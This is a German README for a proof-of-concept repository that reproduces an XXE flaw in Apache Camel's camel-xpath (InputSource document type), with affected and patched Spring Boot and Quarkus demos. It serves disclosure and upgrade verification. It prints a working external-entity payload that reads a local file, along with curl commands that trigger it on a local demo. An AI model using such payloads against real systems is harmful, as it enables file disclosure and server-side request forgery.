
Lauffähiger XXE-Proof-of-Concept für CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), mit betroffenen und behobenen Spring-Boot- und Quarkus-Demos.
documentType=InputSource)Lauffähiger Proof-of-Concept-Reproduzierer für die Apache-Camel-Schwachstelle, bei der mit documentType auf
InputSource gesetzt XPathBuilder die Payload direkt an javax.xml.xpath übergab, das einen eigenen DocumentBuilder
mit den JDK-Standardeinstellungen erstellt. Die auf Camels Standard-Dokumenttyp angewandte Härtung wurde dadurch
umgangen: Eine DOCTYPE-Deklaration, die beim Standardtyp abgelehnt wird, wurde hier akzeptiert, und die darin
deklarierte externe Entity wurde aufgelöst und in das ausgewertete Dokument expandiert. Ein externer Absender, dessen
XML einen solchen Ausdruck erreicht, könnte Dateien lesen, die für den Camel-Prozess lesbar sind, und den Prozess dazu
bringen, Anfragen an von ihm benannte Hosts zu senden.
| Laufzeitumgebung | Verzeichnis | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (betroffen; behoben in 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, betroffen; behobene Kontrolle CQ 3.40.0 / Camel 4.22.1) |
Beide Module demonstrieren das betroffene und das behobene Verhalten.
Eine harmlose „Secret“-Datei wird auf der Festplatte abgelegt (cve-2026-85250-secret.txt, die eine Marker-Zeichenkette
enthält) und steht stellvertretend für eine lokale Datei, die für den Camel-Prozess lesbar ist. Der Angreifer sendet XML —
als InputStream, was in einen InputSource umgewandelt wird — mit einer DOCTYPE-Deklaration, deren externe Entity auf
diese Datei verweist:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
Die Route wertet xpath("/test/text()").documentType(InputSource.class) über dem Body aus.
InputSource-Parser (JDK-Standardeinstellungen) löst die externe Entität auf, sodass das XPath-Ergebnis der
Inhalt der Datei ist — der Marker wird exfiltriert.DOCTYPE-Deklaration wird vom gehärteten Parser abgelehnt (demselben, den der Standard-Dokumenttyp verwendet), sodass
die Auswertung fehlschlägt, bevor eine Entität aufgelöst wird.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Improper Restriction of XML External Entity Reference) |
| Schweregrad | HOCH |
| Angriffsvektor | Nicht vertrauenswürdiges XML, das durch einen XPath-Ausdruck ausgewertet wird, der mit documentType=InputSource konfiguriert ist |
| Auswirkung | XXE: Offenlegung lokaler Dateien und Server-Side Request Forgery über externe Entities |
| Betroffene Versionen | Ab 4.0.0 vor 4.18.5, ab 4.19.0 vor 4.22.1 |
| Behobene Versionen | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Danksagung | Claude Security Scan Tool |
Advisory: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder leitet nun eine InputSource (und SAXSource) durch
toHardenedDocument(), wodurch sie mithilfe derselben gehärteten
DocumentBuilderFactory, die der Standard-Dokumenttyp bereits verwendet, in ein org.w3c.dom.Document umgewandelt wird, bevor sie an die XPath-Engine übergeben wird — sodass beide
Dokumenttypen mit derselben Konfiguration geparst werden und ein DOCTYPE abgelehnt wird. Beachten Sie, dass der Typ InputSource nun auch
denselben dokumentierten Ausweg des Standardtyps teilt: Dieselben Systemeigenschaften der DocumentBuilderFactory, die den
Standardtyp lockern, lockern auch diesen.
Verwenden Sie documentType=InputSource nicht für Ausdrücke, die über nicht vertrauenswürdigem XML ausgewertet werden; der Standard-Dokumenttyp
lehnt bereits ein DOCTYPE ab.
Dieses Repository wird zu Bildungs- und Verteidigungszwecken veröffentlicht: um Apache Camel-Benutzern zu helfen, die Schwachstelle zu verstehen, zu überprüfen, ob sie betroffen sind, und zu bestätigen, dass ein Upgrade sie behebt. Die „secret“-Datei ist ein inerter, eingepflanzter Marker. Verwenden Sie dieses Material nicht gegen Systeme, die Ihnen nicht gehören oder die Sie nicht betreiben.